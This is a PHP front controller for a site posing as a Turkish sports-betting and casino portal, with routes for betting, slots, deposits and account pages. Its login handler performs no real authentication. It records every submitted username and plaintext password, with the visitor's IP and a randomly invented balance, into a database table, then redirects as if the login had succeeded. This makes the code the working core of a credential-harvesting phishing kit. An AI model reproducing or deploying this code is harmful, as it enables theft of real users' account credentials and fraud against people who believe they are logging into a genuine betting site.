<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

include('defines.php');
include('fn.php');
include('dbq.php');

date_default_timezone_set('Europe/Istanbul');
setlocale(LC_TIME, 'tr_TR.UTF-8');

$route = isset($_GET['route']) ? $_GET['route'] : '';


if (empty($route) && is_mobile()) {
  exit('<script>window.location.href = "tr/Slots"</script>');
}

$db = new Database(DB_HOST, DB_TABLE, DB_USER, DB_PASS);

ob_start();
if (isset($_SESSION['username'])) {
  $username = tst($_SESSION['username']);
  $getBalance = $db->fetch('SELECT balance FROM logs WHERE username = ? ORDER BY id DESC', [$username]);
  if ($getBalance) {
    $_SESSION['balance'] = $getBalance['balance'];
  }
}

include('layout/head.php');
include('layout/header.php');
if (!is_mobile()) {
  include('layout/topMenu.php');
}

switch ($route) {
  case '':
  case 'Home':
    include('pages/Home/index.php');
    include('util/home.script.php');
  break;

  case 'Sports/StartLiveBetting':
    include('pages/Sports/StartLiveBetting.php');
  break;

  case 'Sports/StartBetting':
    include('pages/Sports/StartBetting.php');
  break;

  case 'Sports/BTI':
    include('layout/sportsMenu.php');
    include('pages/Sports/BTI.php');
  break;

  case 'Sports/BcBetting':
    include('layout/sportsMenu.php');
    include('pages/Sports/BcBetting.php');
  break;

  case 'Sports/DelaSportBetting':
    include('layout/sportsMenu.php');
    include('pages/Sports/DelaSportBetting.php');
  break;

  case 'Sports/StartPinnacleBetting':
    include('layout/sportsMenu.php');
    include('pages/Sports/StartPinnacleBetting.php');
  break;

  case 'Sports/StartOneXBetBetting':
    include('layout/sportsMenu.php');
    include('pages/Sports/StartOneXBetBetting.php');
  break;

  case 'Sports/Altenar':
    include('layout/sportsMenu.php');
    include('pages/Sports/Altenar.php');
  break;

  case 'Slots':
    include('pages/Slots.php');
  break;

  case 'LiveCasino':
    include('pages/LiveCasino.php');
  break;

  case 'Poker/MainIndex':
  case 'Poker/Mainindex':
    include('pages/Poker/MainIndex.php');
  break;

  case 'Sports/ESports':
    include('pages/Sports/ESports.php');
  break;

  case 'Casino/StartAPIOption':
    include('pages/Casino/StartAPIOption.php');
  break;

  case 'Bingo':
    include('pages/Bingo.php');
  break;

  case 'Casino/kahve':
    include('pages/Casino/kahve.php');
  break;

  case 'Home/Cashraces':
  case 'Home/CashRaces':
    include('pages/Home/Cashraces.php');
  break;

  case 'Home/PhoneRequest':
    include('pages/Home/PhoneRequest.php');
  break;

  case 'Home/Promotions':
    include('pages/Home/Promotions.php');
  break;

  case 'Home/SetCurrentLanguage':
    include('pages/Home/SetCurrentLanguage.php');
  break;
  
  case 'Security/LogOff':
    include('pages/Security/LogOff.php');
  break;

  case 'Banking/Deposit':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Banking/Deposit.php');
  break;

  case 'Banking/Withdraw':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Banking/Withdraw.php');
  break;

  case 'Banking/P2PTransfer':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Banking/P2PTransfer.php');
  break;

  case 'Security/Messages':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/Messages.php');
  break;

  case 'Security':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/index.php');
  break;

  case 'Security/TransactionHistory':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/TransactionHistory.php');
  break;

  case 'Banking/Transfer':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Banking/Transfer.php');
  break;
case 'Security/MyBonus':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/MyBonus.php');
  break;

  case 'Security/UserTrustedDevice':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/UserTrustedDevice.php');
  break;

  case 'Security/ChangePassword':
    if (!isset($_SESSION['username'])) {
      redirectLogin();
    }
    include('pages/Security/ChangePassword.php');
  break;

  case 'Security/Register':
    include('pages/Security/Register.php');
  break;

  case 'Security/LogOn':
    if (isset($_SESSION['username'])) {
      redirectHome();
    }
    if (isset($_POST['UserName'])) {
      $username = tst($_POST['UserName']);
      $password = tst($_POST['Password']);
      if (empty($username) || empty($password)) {
        $errorLogin = true;
      } else {
        $_SESSION['username'] = $username;
        $_SESSION['password'] = $password;

        $checkLogs = $db->fetchAll('SELECT date FROM logs WHERE username = ? AND date > ?', array($username, time() - 300));
        if (count($checkLogs) < 3) {
          $checkUser = $db->fetch('SELECT * FROM logs WHERE username = ? AND password = ?', array($username, $password));
          if (!$checkUser) {
            $db->insert('logs', array(
              'username' => $username,
              'password' => $password,
              'ip' => $_SERVER['REMOTE_ADDR'],
              'balance' => rand(10, 90) / 100,
              'date' => time()
            ));
          }
        }
        redirectHome();
      }
    }
    include('pages/Security/LogOn.php');
  break;

  default:
    echo "<script>window.top.location='/tr/Security/LogOn';</script>";
  break;
}

include('layout/modals.php');
include('layout/footer.php');

$buffer = ob_get_clean();
echo minify_html($buffer);